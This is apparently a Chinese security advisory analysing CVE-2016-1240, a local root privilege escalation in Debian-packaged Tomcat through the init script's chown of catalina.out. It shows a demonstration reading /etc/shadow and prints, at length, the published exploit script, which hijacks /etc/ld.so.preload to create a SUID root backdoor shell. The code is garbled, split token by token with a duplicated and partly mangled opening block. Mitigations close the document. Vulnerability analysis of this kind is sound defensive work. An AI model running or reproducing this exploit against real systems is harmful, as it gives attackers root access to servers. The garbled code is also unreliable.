10月1日,Tomcat爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的Tomcat用户获得系统的root权限。
漏洞相关信息:
CVE ID:
- CVE-2016-1240
漏洞原理:
在Debian系统的Linux上管理员通常利用apt-get进行包管理,deb包是Unixar的标准归档,讲包文件信息以及包内容,经过gzip和tar打包而成。
该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:
1
2
3
4
5
6
7
8
9
10
11
|
171
# Run the catalina.sh script as a daemon
set
+
e
touch
"$CATALINA_PID"
"$CATALINA_BASE"
/
logs
/
catalina
.out
chown
$TOMCAT7_USER
"$CATALINA_PID"
"$CATALINA_BASE"
/
logs
/
catalina
.out
start
-
stop
-
daemon
--
start
-
b
-
u
"$TOMCAT7_USER"
-
g
"$TOMCAT7_GROUP"
\
-
c
"$TOMCAT7_USER"
-
d
"$CATALINA_TMPDIR"
-
p
"$CATALINA_PID"
\
-
x
/
bin
/
bash
--
-
c
"$AUTHBIND_COMMAND $TOMCAT_SH"
status
=
"$?"
set
+
a
-
e
|
在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。
利用分析:
该漏洞利用难度不大且场景常见,攻击者在上传webshell后拿到Tomcat用户权限,将catalina.out修改为指向 /etc/shadow 的softlink文件,启动脚本运行后,Tomcat用户将对 /etc/shadow 有访问权限,今读取修改root用户密码,测试如下:
➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil e WARNING: Problem with directory [/usr/share/tomcat6/common/classes], exists: [fa lse],
isDirectory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
le
WARNING: Problem with directory [/usr/share/tomcat6/common], exists: [false], isD
irec
tory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil
e
WARNING: Problem with directory [/usr/share/tomcat6/server/classes], exists: [fal
se],
isDirectory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
le
WARNING: Problem with directory [/usr/share/tomcat6/server], exists: [false], isD
irec
tory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
le
WARNING: Problem with directory [/usr/share/tomcat6/shared/classes], exists: [fal
se],
isDirectory: [false], canRead: [false]
➜ ~ su tomcat6 -c “ln -fs /etc/shadow /var/log/tomcat6/catalina.out”
➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” head: cannot open ‘/var/log/tomcat6/catalina.out’ for reading: Permission denied
➜ ~ service tomcat6 start
➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” root:$6$RYhPkXbD$6w2cN3u44Q 01gpHPMEjo9fgMXr7..1:16993:0:99999:7::: daemon:*:16911:0:99999:7::: bin:*:16911:0:99999:7::: sys:*:16911:0:99999:7::: sync:*:16911:0:99999:7::: games:*:16911:0:99999:7::: man:*:16911:0:99999:7::: lp:*:16911:0:99999:7::: mail:*:16911:0:99999:7::: news:*:16911:0:99999:7:::
该漏洞发现者也在报告公开 PoC, 利用也很有趣,作者不甘于单纯的文件操作,巧妙利用获得了一个root权限的shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
|
#!/bin/bash
BACKDOORSH
=
"/bin/bash"
BACKDOORPATH
=
"/tmp/tomcatrootsh"
PRIVESCLIB
=
"/tmp/privesclib.so"
PRIVESCSRC
=
"/tmp/privesclib.c"
SUIDBIN
=
"/usr/bin/sudo"
function
cleanexit
{
# Cleanup
echo
-
e
"\n[+] Cleaning up..."
rm
-
f
$PRIVESCSRC
rm
-
f
$PRIVESCLIB
rm
-
f
$TOMCATLOG
touch
$TOMCATLOG
if
[
-
f
/
etc
/
ld
.so
.preload
]
;
then
echo
-
n
>
/
etc
/
ld
.so
.preload
2
>
/
dev
/
null
fi
echo
-
e
"\n[+] Job done. Exiting with code $1 \n"
exit
$
1
}
function
ctrl_c
(
)
{
echo
-
e
"
\
n
[
+
]
Active
exploitation
aborted
.
Remember
you
can
use
-
deferred
switch
for
deferred
exploitation
."
cleanexit
0
}
#intro
echo
-
e
"
\
033
[
94m
\
nTomcat
6
/
7
/
8
on
Debian
-
based
distros
-
Local
Root
Privilege
Es
calation
Exploit
\
nCVE
-
2016
-
1240
\
n"
echo
-
e
"
Discovered
and
coded
by
:
\
n
\
nDawid
Golunski
\
nhttp
:
/
/
legalhackers
.com
\
03
3
[
0m"
# Args
if
[
$
# -lt 1 ]; then
echo
-
e
"\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
exit
3
fi
if
[
"$2"
=
"-deferred"
]
;
then
mode
=
"deferred"
else
mode
=
"active"
fi
# Priv check
echo
-
e
"
\
n
[
+
]
Starting
the
exploit
in
[
\
033
[
94m
$mode
\
033
[
0m
]
mode
with
the
follow
ing
privileges
:
\
n
`
id
`"
id
|
grep
-
q
tomcat
if
[
$
?
-
ne
0
]
;
then
echo
-
e
"\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
#!/bin/bash
BACKDOORSH
=
"/bin/bash"
BACKDOORPATH
=”
/
TMP
/
tomcatrootsh
PRIVESCLIB
=
"/tmp/privesclib.so"
PRIVESCSRC
=
"/tmp/privesclib.c"
SUIDBIN
=
"/usr/bin/sudo"
function
cleanexit
{
# Cleanup
echo
-
e
"\n[+] Cleaning up..."
rm
-
f
$PRIVESCSRC
rm
-
f
$PRIVESCLIB
rm
-
f
$TOMCATLOG
touch
$TOMCATLOG
if
[
-
f
/
etc
/
ld
.so
.preload
]
;
then
echo
-
n
>
/
etc
/
ld
.so
.preload
2
>
/
dev
/
null
fi
echo
-
e
"\n[+] Job done. Exiting with code $1 \n"
exit
$
1
}
function
ctrl_c
(
)
{
echo
-
e
"
\
n
[
+
]
Active
exploitation
aborted
.
Remember
you
can
use
-
deferred
switch
for
deferred
exploitation
."
cleanexit
0
}
#intro
echo
-
e
"
\
033
[
94m
\
nTomcat
6
/
7
/
8
on
Debian
-
based
distros
-
Local
Root
Privilege
Es
calation
Exploit
\
nCVE
-
2016
-
1240
\
n"
echo
-
e
"
Discovered
and
coded
by
:
\
n
\
nDawid
Golunski
\
nhttp
:
/
/
legalhackers
.com
\
03
3
[
0m"
# Args
if
[
$
# -lt 1 ]; then
echo
-
e
"\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
exit
3
fi
if
[
"$2"
=
"-deferred"
]
;
then
mode
=
"deferred"
else
mode
=
"active"
fi
# Priv check
echo
-
e
"
\
n
[
+
]
Starting
the
exploit
in
[
\
033
[
94m
$mode
\
033
[
0m
]
mode
with
the
follow
ing
privileges
:
\
n
`
id
`"
id
|
grep
-
q
tomcat
if
[
$
?
-
ne
0
]
;
then
echo
-
e
"\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
exit
3
fi
# Set target paths
TOMCATLOG
=
"$1"
if
[
!
-
f
$TOMCATLOG
]
;
then
echo
-
e
"
\
n
[
!
]
The
specified
Tomcat
catalina
.out
log
(
$TOMCATLOG
)
doesn'
t
exis
t
.
Try
again
.
\
n"
exit
3
fi
echo
-
e
"\n[+] Target Tomcat log file set to $TOMCATLOG"
# [ Deferred exploitation ]
# Symlink the log file to /etc/default/locale file which gets executed daily on de
fault
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation
cronjob
around
6
:
25am.
# Attackers can freely add their commands to the /etc/default/locale script after
Tomcat
has
been
# restarted and file owner gets changed.
if
[
"$mode"
=
"deferred"
]
;
then
rm
-
f
$TOMCATLOG
&&
ln
-
s
/
etc
/
default
/
locale
$TOMCATLOG
if
[
$
?
-
ne
0
]
;
then
echo
-
e
"\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
cleanexit
3
fi
echo
-
e
"\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
echo
-
e
"
\
n
[
+
]
The
current
owner
of
the
file
is
:
\
n
`
ls
-
l
/
etc
/
default
/
locale
`"
echo
-
ne
"
\
n
[
+
]
Keep
an
eye
on
the
owner
change
on
/
etc
/
default
/
locale
.
After
the
Tomcat
restart
/
system
reboot"
echo
-
ne
"
\
n
you'
ll
be
able
to
add
arbitrary
commands
to
the
file
which
wil
l
get
executed
with
root
privileges"
echo
-
ne
"
\
n
at
~
6
:
25am
by
the
/
etc
/
cron
.daily
/
tomcatN
log
rotation
cron
.
S
ee
also
-
active
mode
if
you
can'
t
wait
;
)
\
n
\
n"
exit
0
fi
# [ Active exploitation ]
trap
ctrl_c
INT
# Compile privesc preload library
echo
-
e
"\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat
<<
_solibeof_
>
$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include<unistd.h>
#include <dlfcn.h>
uid_t
geteuid
(
void
)
{
static
uid
_t
(
*
old_geteuid
)
(
)
;
old_geteuid
=
dlsym
(
RTLD_NEXT
,
"geteuid"
)
;
if
(
old_geteuid
(
)
==
0
)
{
chown
(
"$BACKDOORPATH"
,
0
,
0
)
;
chmod
(
"$BACKDOORPATH"
,
04777
)
;
unlink
(
"/etc/ld.so.preload"
)
;
}
return
old_geteuid
(
)
;
}
_solibeof_
gcc
-
Wall
-
fPIC
-
shared
-
o
$PRIVESCLIB
$PRIVESCSRC
-
ldl
if
[
$
?
-
ne
0
]
;
then
echo
-
e
"\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit
2
;
fi
# Prepare backdoor shell
cp
$BACKDOORSH
$BACKDOORPATH
echo
-
e
"\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if
[
-
f
/
etc
/
ld
.so
.preload
]
;
then
echo
-
e
"\n[!] /etc/ld.so.preload already exists. Exiting for safety."
cleanexit
2
fi
# Symlink the log file to ld.so.preload
rm
-
f
$TOMCATLOG
&&
ln
-
s
/
etc
/
ld
.so
.preload
$TOMCATLOG
if
[
$
?
-
ne
0
]
;
then
echo
-
e
"\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
cleanexit
3
fi
echo
-
e
"\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
# Wait for Tomcat to re-open the logs
echo
-
ne
"\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo
-
e
"
\
nYou
could
speed
things
up
by
executing
:
kill
[
Tomcat
-
pid
]
(
as
tomcat
user
)
if
needed
;
)"
while
:
;
do
sleep
0.1
if
[
-
f
/
etc
/
ld
.so
.preload
]
;
then
echo
$PRIVESCLIB
>
/
etc
/
ld
.so
.preload
break
;
fi
done
# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo
$PRIVESCLIB
>
/
etc
/
ld
.so
.preload
echo
-
e
"
\
n
[
+
]
Tomcat
restarted
.
The
/
etc
/
ld
.so
.preload
file
got
created
with
tomc
at
privileges
:
\
n
`
ls
-
l
/
etc
/
ld
.so
.preload
`"
echo
-
e
"\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo
-
e
"
\
n
[
+
]
The
/
etc
/
ld
.so
.preload
file
now
contains
:
\
n
`
cat
/
etc
/
ld
.so
.preload
`"
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo
-
e
"\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo
--
help
2
>
/
dev
/
null
>
/
dev
/
null
# Check for the rootshell
ls
-
l
$BACKDOORPATH
|
grep
rws
|
grep
-
q
root
if
[
$
?
-
eq
0
]
;
then
echo
-
e
"
\
n
[
+
]
Rootshell
got
assigned
root
SUID
perms
at
:
\
n
`
ls
-
l
$BACKDOORPA
TH
`"
echo
-
e
"\n\033[94mPlease tell me you're seeing this too ;) \033[0m"
else
echo
-
e
"\n[!] Failed to get root"
cleanexit
2
fi
# Execute the rootshell
echo
-
e
"\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH
-
p
-
c
"rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH
-
p
# Job done.
cleanexit
0
|
可以看到,PoC中主要的几个流程, 首先利用Tomcat启动脚本chown的缺陷把/etc/ld_preload.so变成有权限改写,然后加入自己的ldpreload,最后在自己的ldpreload里面给backdoor加上setuid权限,这样Tomcat重启以后backdoor就是root权限带suid了。
影响范围:
deb打包的所有Tomcat6/7/8等版本均受到影响
应急修复方案:
1.临时修复建议
若担心更新有兼容问题,可更改Tomcat的启动脚本为 chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
加入 – h参数防止其他文件所有者被更改。
2. 更新最新Tomcat包
Debian安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。